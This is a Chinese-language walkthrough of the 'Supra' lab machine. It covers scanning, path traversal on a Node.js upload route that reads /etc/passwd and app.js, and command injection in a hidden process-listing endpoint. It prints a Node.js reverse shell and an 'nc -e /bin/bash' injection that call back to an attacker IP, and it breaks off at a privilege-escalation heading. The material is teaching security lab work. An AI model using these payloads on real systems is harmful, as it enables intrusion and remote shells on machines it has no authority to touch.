文章

Supra

Supra

image-20240712183313548

image-20240809114900308

信息搜集

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali💀kali)-[~/temp/Supra]
└─$ rustscan -a $IP -- -sCV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.10.103:22
Open 192.168.10.103:80
Open 192.168.10.103:4000

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 d9:75:70:c0:72:4c:4b:df:66:54:15:e7:77:37:44:18 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3M700tkvIKlRU2W80ESj8iG6n1aHoOBcpf1Sg17U8kZe6AgY72CF7B1vmRvAnVJaYfMIOIO+qFLtGky/+iKy48zcGOv3woQGoJaQBN0RsUrS2VR5lTYXR0iQKGF0AyexRIaBvWfMkMSmr5KOFTA5PXg9Q2GeyKWxnewsAm+7zgwGa0oE4J+qjikfWuqmKZOgOBzuBdK+fd2TQNcnglZhYfP3PPEMZY1ePxhCN/wWecBBbjTXc67Tf5qADKsDliU9wdxp+Yv4u/qe9cAcYlHdgC1MTGXN75Pn+IzWleUzqZS6CAGq2LHLxGx9J9W5VoHDns9enY9H19xINhYp312OvMQo9osaWqoR2w88fdpjAR6N/7p2sPXvYG7sVfCb68T1Pjxsg/9Nuy9QvfeWYqaIIt7Ry32Tt0Q0WTzegQpGRK8HsS4fGf7S2GDUs3FSfg/PSCnIMZNqOM7BivwDOSxh14Elyy6AJXViYuycZO8QnOHAOMI5uWzbZ++ALlmdxMQs=
|   256 3d:47:46:10:4a:5a:ee:b9:5f:94:61:bd:08:ff:7d:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK/Sg1X3XisZwfkGdPEeBo+ObY7+QIGdPk4m2cweF+myUy87mVPaD56mIFz3pFozfxvZKCNH1LjMsGFH1lXQAso=
|   256 be:bc:64:9a:c4:45:32:83:ed:6c:50:c2:2a:a1:a9:a4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK0pzA44OqYBOt9Nk26VpZXfZrbRtmjgUiulqFY8N/YS
80/tcp   open  http    syn-ack Apache httpd 2.4.48 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.48 (Debian)
4000/tcp open  http    syn-ack Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: NullTrace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(kali💀kali)-[~/temp/Supra]
└─$ gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -b 301,401,403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.10.103
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   301,401,403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
Progress: 9776 / 882244 (1.11%)[ERROR] Get "http://192.168.10.103/works.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/body.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

Progress: 83338 / 882244 (9.45%)
Progress: 130744 / 882244 (14.82%)
Progress: 175649 / 882244 (19.91%)
Progress: 252871 / 882244 (28.66%)[ERROR] Get "http://192.168.10.103/caepipe.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 379668 / 882244 (43.03%)[ERROR] Get "http://192.168.10.103/51118853.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/Sell_Mat.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/51118853.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/Sell_Mat": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/Sell_Mat.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 412103 / 882244 (46.71%)[ERROR] Get "http://192.168.10.103/90368.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/coolhand": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/coolhand.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 464470 / 882244 (52.65%)[ERROR] Get "http://192.168.10.103/95843": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/163958.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/105473": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/95843.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/95843.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 487735 / 882244 (55.28%)[ERROR] Get "http://192.168.10.103/51396.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 489683 / 882244 (55.50%)[ERROR] Get "http://192.168.10.103/81758.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/38348.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/42761": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/42761.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/51397": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://192.168.10.103/38348.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

Progress: 493426 / 882244 (55.93%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 493493 / 882244 (55.94%)
===============================================================
Finished
===============================================================

扫不出来拉倒。

漏洞发现

踩点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s http://$IP | html2text                        

[Debian Logo]  Apache2 Debian Default Page
It works!
This is the default welcome page used to test the correct operation of the
Apache2 server after installation on Debian systems. If you can read this page,
it means that the Apache HTTP server installed at this site is working
properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.
If you are a normal user of this web site and don't know what this page is
about, this probably means that the site is currently unavailable due to
maintenance. If the problem persists, please contact the site's administrator.
Configuration Overview

就是一个apache默认页面。

敏感端口

看一下这个4000端口怎么测试:

image-20240809120951463

image-20240809121004995

看一下源代码,找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <script>
        function ping() {
            ip = document.getElementById("pingIn").value;
            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "/ping/" + ip, false);
            xhttp.send();
            document.getElementById("pingResult").innerHTML = xhttp.responseText;
        }

        function portscan() {
            ip = document.getElementById("portscanIn").value;
            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "/portscan/" + ip, false);
            xhttp.send();
            document.getElementById("portscanResult").innerHTML = xhttp.responseText;
        }

        function whois() {
            ip = document.getElementById("whoisIn").value;
            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "/whois/" + ip, false);
            xhttp.send();
            document.getElementById("whoisResult").innerHTML = xhttp.responseText;
        }

        function base64e() {
            data = document.getElementById("base64eIn").value;
            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "/base64/encode/" + data, false);
            xhttp.send();
            document.getElementById("base64eResult").innerHTML = xhttp.responseText;
        }


        function base64d() {
            data = document.getElementById("base64dIn").value;
            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "/base64/decode/" + data, false);
            xhttp.send();
            document.getElementById("base64dResult").innerHTML = xhttp.responseText;
        }

        function passgen() {

            var xhttp = new XMLHttpRequest();
            xhttp.open("GET", "/generate-password", false);
            xhttp.send();
            document.getElementById("passgenResult").innerHTML = xhttp.responseText;
        }
    </script>

发现文件上传接口,尝试上传反弹shell文件,先测试一下:

image-20240809121333129

访问一下:

1
2
3
4
5
6
7
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s http://$IP:4000/var/www/api/uploads/test.txt | html2text
Cannot GET /var/www/api/uploads/test.txt

┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s http://$IP:4000/uploads/test.txt | html2text 
just a test......

因为这个网页是nodejs创建的,尝试上传相关反弹 shell,但是发现并未解析:

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("bash", []);
    var client = new net.Socket();
    client.connect(1234, "192.168.10.104", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

LFI

尝试进行文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://$IP:4000/uploads/../../../../etc/passwd" | html2text                       
Cannot GET /etc/passwd

┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://$IP:4000/uploads/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd"            
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
it404:x:1000:1000:it404,,,:/home/it404:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin

尝试一下读取其他东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(kali💀kali)-[~/temp/Supra]
└─$ echo -n "../../../../../etc/passwd" | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g'
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://$IP:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64" 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
it404:x:1000:1000:it404,,,:/home/it404:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Debian-exim:x:107:115::/var/spool/exim4:/usr/sbin/nologin

想着搞个脚本跑一下:

1
2
3
4
5
6
7
#!/bin/bash
while IFS= read -r line; do
    urlcode=$(echo -n "$line" | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g')
    echo "[+] payload:$line" >> result.txt
    echo "[+] url_payload:$urlcode" >> result.txt
    curl -s "http://192.168.10.103:4000/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f$urlcode" >> result.txt
done < /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

额,不能说没有用,只能说一点用不到。。。

看到之前给到的目录,翻一下app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
# /var/www/api/uploads/test.txt
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://192.168.10.103:4000/uploads/..%2Fapp.js"
var express = require('express');
const { exec } = require('child_process')
const { base64encode, base64decode } = require('nodejs-base64');
const whois = require('node-xwhois');
const ipRegex = require('ip-regex');
var generator = require('generate-password');
const fs = require('fs')
var multer = require('multer');


var storage = multer.diskStorage({
    destination: function (req, file, callback) {
        callback(null, './uploads');
    },
    filename: function (req, file, callback) {
        callback(null, file.originalname);
    }
});

var upload = multer({ storage: storage }).single('userFile');
var app = express();
app.set('view engine', 'ejs');

app.get('/', (req, res) => {


    res.render('home');

});


app.get('/ping/:ip', (req, res) => {

    ip = req.params.ip
    if (ipRegex({ exact: true }).test(ip)) {

        exec("ping -c 3 ".concat(ip), (error, stdout, stderr) => {
            if (error) {

            }
            if (stderr) {

            }
            console.log(`stdout: ${stdout}`);
            res.send(`stdout: ${stdout}`)
        });
    }
    else {
        res.send("This is not an IP");
    }

});

app.get('/portscan/:ip', (req, res) => {

    ip = req.params.ip

    if (ipRegex({ exact: true }).test(ip)) {

        exec("nmap -p 21,22,443,80,8080 -T4 ".concat(ip), (error, stdout, stderr) => {
            if (error) {

            }
            if (stderr) {

            }
            console.log(`stdout: ${stdout}`);
            res.send(`stdout: ${stdout}`)
        });
    }
    else {
        res.send("This is not an IP");
    }


});

app.get('/whois/:ip', (req, res) => {

    ip = req.params.ip


    if (ipRegex({ exact: true }).test(ip)) {

        whois.whois(ip)
            .then(data => res.send(data))
            .catch(err => console.log(err));
    }
    else {
        res.send("This is not an IP");
    }


});


app.get('/base64/decode/:data', (req, res) => {

    data = req.params.data
    base64decoded = base64decode(data)
    res.send(base64decoded)
});


app.get('/base64/encode/:data', (req, res) => {

    data = req.params.data
    base64encoded = base64encode(data)
    res.send(base64encoded)
});


app.get('/generate-password', (req, res) => {

    var password = generator.generate({
        length: 18,
        numbers: true,
        symbols: true
    });

    res.send(password)
});


app.get('/uploads/:filename', (req, res) => {

    finalPath = __dirname.concat("/uploads/").concat(req.params.filename)
    console.log(finalPath)
    fs.readFile(finalPath, 'utf8', (err, data) => {
        res.end(data);
    })
});


app.post('/file', function (req, res) {
    upload(req, res, function (err) {

        if (req.fileValidationError) {
            return res.send(req.fileValidationError);
        }
        else if (!req.file) {
            return res.send('Please select a file to upload');
        }
        else if (err instanceof multer.MulterError) {
            return res.send(err);
        }
        else if (err) {
            return res.send(err);
        }


        exec("md5sum ".concat(__dirname).concat("/uploads/").concat(req.file.filename), (error, stdout, stderr) => {
            console.log(`stdout: ${stdout}`);
            res.end(`stdout: ${stdout}`)
        });
    });
});

app.get('/internal-processes-v1-display', function (req, res) {

    uid = req.query.uid
    console.log(uid)
    exec("ps aux | grep ".concat(uid), (error, stdout, stderr) => {
        console.log(`stdout: ${stdout}`);
        res.end(`stdout: ${stdout} :: ${uid}`)
    });


});

app.listen(4000, function () {
    console.log('listening to port 4000')
});

发现一个隐藏的api接口,尝试看一下:

1
2
3
4
5
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://192.168.10.103:4000/internal-processes-v1-display" 
stdout: www-data     795  0.0  0.0   2420   584 ?        S    02:14   0:00 /bin/sh -c ps aux | grep undefined
www-data     797  0.0  0.0   6180   712 ?        S    02:14   0:00 grep undefined
 :: undefined

尝试进行利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://192.168.10.103:4000/internal-processes-v1-display?uid=root"
stdout: root           1  0.2  0.4  98140 10088 ?        Ss   02:08   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    02:08   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   02:08   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   02:08   0:00 [rcu_par_gp]
root           5  0.2  0.0      0     0 ?        I    02:08   0:01 [kworker/0:0-events]
root           6  0.0  0.0      0     0 ?        I<   02:08   0:00 [kworker/0:0H-events_highpri]
root           8  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker/u2:0-ext4-rsv-conversion]
root           9  0.0  0.0      0     0 ?        I<   02:08   0:00 [mm_percpu_wq]
root          10  0.0  0.0      0     0 ?        S    02:08   0:00 [rcu_tasks_rude_]
root          11  0.0  0.0      0     0 ?        S    02:08   0:00 [rcu_tasks_trace]
root          12  0.0  0.0      0     0 ?        S    02:08   0:00 [ksoftirqd/0]
root          13  0.0  0.0      0     0 ?        I    02:08   0:00 [rcu_sched]
root          14  0.0  0.0      0     0 ?        S    02:08   0:00 [migration/0]
root          15  0.0  0.0      0     0 ?        S    02:08   0:00 [cpuhp/0]
root          17  0.0  0.0      0     0 ?        S    02:08   0:00 [kdevtmpfs]
root          18  0.0  0.0      0     0 ?        I<   02:08   0:00 [netns]
root          19  0.0  0.0      0     0 ?        S    02:08   0:00 [kauditd]
root          20  0.0  0.0      0     0 ?        S    02:08   0:00 [khungtaskd]
root          21  0.0  0.0      0     0 ?        S    02:08   0:00 [oom_reaper]
root          22  0.0  0.0      0     0 ?        I<   02:08   0:00 [writeback]
root          23  0.0  0.0      0     0 ?        S    02:08   0:00 [kcompactd0]
root          24  0.0  0.0      0     0 ?        SN   02:08   0:00 [ksmd]
root          25  0.0  0.0      0     0 ?        SN   02:08   0:00 [khugepaged]
root          43  0.0  0.0      0     0 ?        I<   02:08   0:00 [kintegrityd]
root          44  0.0  0.0      0     0 ?        I<   02:08   0:00 [kblockd]
root          45  0.0  0.0      0     0 ?        I<   02:08   0:00 [blkcg_punt_bio]
root          46  0.0  0.0      0     0 ?        I<   02:08   0:00 [edac-poller]
root          47  0.0  0.0      0     0 ?        I<   02:08   0:00 [devfreq_wq]
root          48  0.0  0.0      0     0 ?        I<   02:08   0:00 [kworker/0:1H-kblockd]
root          49  0.0  0.0      0     0 ?        S    02:08   0:00 [kswapd0]
root          50  0.0  0.0      0     0 ?        I<   02:08   0:00 [kthrotld]
root          51  0.0  0.0      0     0 ?        I<   02:08   0:00 [acpi_thermal_pm]
root          52  0.0  0.0      0     0 ?        I<   02:08   0:00 [ipv6_addrconf]
root          62  0.0  0.0      0     0 ?        I<   02:08   0:00 [kstrp]
root          65  0.0  0.0      0     0 ?        I<   02:08   0:00 [zswap-shrink]
root          66  0.0  0.0      0     0 ?        I<   02:08   0:00 [kworker/u3:0]
root         109  0.0  0.0      0     0 ?        I<   02:08   0:00 [ata_sff]
root         110  0.0  0.0      0     0 ?        S    02:08   0:00 [scsi_eh_0]
root         111  0.0  0.0      0     0 ?        S    02:08   0:00 [scsi_eh_1]
root         112  0.0  0.0      0     0 ?        I<   02:08   0:00 [scsi_tmf_0]
root         113  0.0  0.0      0     0 ?        I<   02:08   0:00 [scsi_tmf_1]
root         114  0.0  0.0      0     0 ?        S    02:08   0:00 [scsi_eh_2]
root         115  0.0  0.0      0     0 ?        I<   02:08   0:00 [scsi_tmf_2]
root         116  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker/u2:2-flush-8:0]
root         118  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker/0:3-ata_sff]
root         152  0.0  0.0      0     0 ?        S    02:08   0:00 [jbd2/sda1-8]
root         153  0.0  0.0      0     0 ?        I<   02:08   0:00 [ext4-rsv-conver]
root         187  0.0  0.6  48224 12332 ?        Ss   02:09   0:00 /lib/systemd/systemd-journald
root         214  0.0  0.2  22060  5700 ?        Ss   02:09   0:00 /lib/systemd/systemd-udevd
root         283  0.0  0.0      0     0 ?        I<   02:09   0:00 [cryptd]
root         284  0.0  0.0      0     0 ?        S    02:09   0:00 [irq/18-vmwgfx]
root         285  0.0  0.0      0     0 ?        I<   02:09   0:00 [ttm_swap]
root         286  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc0]
root         287  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc1]
root         288  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc2]
root         289  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc3]
root         290  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc4]
root         291  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc5]
root         292  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc6]
root         293  0.0  0.0      0     0 ?        S    02:09   0:00 [card0-crtc7]
root         381  0.0  0.2  99824  5828 ?        Ssl  02:09   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
root         382  0.0  0.1   6684  2848 ?        Ss   02:09   0:00 /usr/sbin/cron -f
root         386  0.0  0.2 220740  6032 ?        Ssl  02:09   0:00 /usr/sbin/rsyslogd -n -iNONE
root         387  0.0  0.1   6756  3116 ?        Ss   02:09   0:00 /bin/bash /root/.s/starts.sh
root         389  0.0  0.2  21536  5528 ?        Ss   02:09   0:00 /lib/systemd/systemd-logind
root         390  0.0  0.2  14560  4944 ?        Ss   02:09   0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
root         416  0.0  0.4  16396  9844 ?        S    02:09   0:00 python3 socket-root.py
root         433  0.0  0.0   5784  1628 tty1     Ss+  02:09   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root         697  0.0  0.3  13292  7104 ?        Ss   02:09   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         710  0.0  0.9 193784 19692 ?        Ss   02:09   0:00 /usr/sbin/apache2 -k start
root         794  0.0  0.0      0     0 ?        I    02:14   0:00 [kworker/0:1-ata_sff]
root         798  0.0  0.0      0     0 ?        I    02:15   0:00 [kworker/u2:1-flush-8:0]
www-data     799  0.0  0.0   2420   576 ?        S    02:16   0:00 /bin/sh -c ps aux | grep root
www-data     801  0.0  0.0   6312   652 ?        S    02:16   0:00 grep root
 :: root

尝试执行系统命令:

1
2
3
4
5
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://192.168.10.103:4000/internal-processes-v1-display?uid=root|whoami;id"
stdout: www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 :: root|whoami;id

尝试反弹shell:

1
2
┌──(kali💀kali)-[~/temp/Supra]
└─$ curl -s "http://192.168.10.103:4000/internal-processes-v1-display?uid=root|nc+-e+/bin/bash+192.168.10.104+1234"

image-20240809141839528

提权

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
(remote) www-data@Supra:/var/www/api$ ls -la
total 132
drwxr-xr-x   5 root     root       4096 Oct 10  2021 .
drwxr-xr-x   4 root     root       4096 Oct 10  2021 ..
-rw-r--r--   1 root     root       3666 Oct 10  2021 app.js
drwxr-xr-x 149 root     root       4096 Oct 12  2021 node_modules
-rw-r--r--   1 root     root        432 Oct 12  2021 package.json
-rw-r--r--   1 root     root     101932 Oct 12  2021 package-lock.json
-rwxr-xr-x   1 root     root         24 Oct 10  2021 start.sh
drwxr-xr-x   2 www-data www-data   4096 Aug  9 00:20 uploads
drwxr-xr-x   2 root     root       4096 Oct 10  2021 views
(remote) www-data@Supra:/var/www/api$ cat start.sh 
#!/bin/bash
node app.js
(remote) www-data@Supra:/var/www/api$ cat package.json 
{
  "name": "api",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.6",
    "express": "^4.17.1",
    "generate-password": "^1.6.1",
    "ip-regex": "^4.3.0",
    "multer": "^1.4.3",
    "node-xwhois": "^2.0.10",
    "nodejs-base64": "^2.0.0"
  }
}
(remote) www-data@Supra:/var/www/api$ sudo -l
bash: sudo: command not found
(remote) www-data@Supra:/var/www/api$ ls -la /home/it404/
total 24
drwxr-xr-x  2 it404 it404 4096 Oct 12  2021 .
drwxr-xr-x  3 root  root  4096 Oct  6  2021 ..
-rw-r--r--  1 it404 it404  220 Oct  6  2021 .bash_logout
-rw-r--r--  1 it404 it404 3526 Oct  6  2021 .bashrc
-rw-r-----+ 1 root  root    32 Oct 12  2021 local.txt
-rw-r--r--  1 it404 it404  807 Oct  6  2021 .profile

ACls查看文件

看到一个加号,明显是Acls权限,尝试看一下有哪些内容:

1
2
3
4
5
6
7
8
9
10
11
12
(remote) www-data@Supra:/home/it404$ getfacl local.txt 
# file: local.txt
# owner: root
# group: root
user::rw-
user:it404:r--
group::---
mask::r--
other::---
(remote) www-data@Supra:/home/it404$ cat /etc/group | grep user
users:x:100:
(remote) www-data@Supra:/home/it404$ cat /etc/group | grep mask

反序列化+yaml提升用户权限

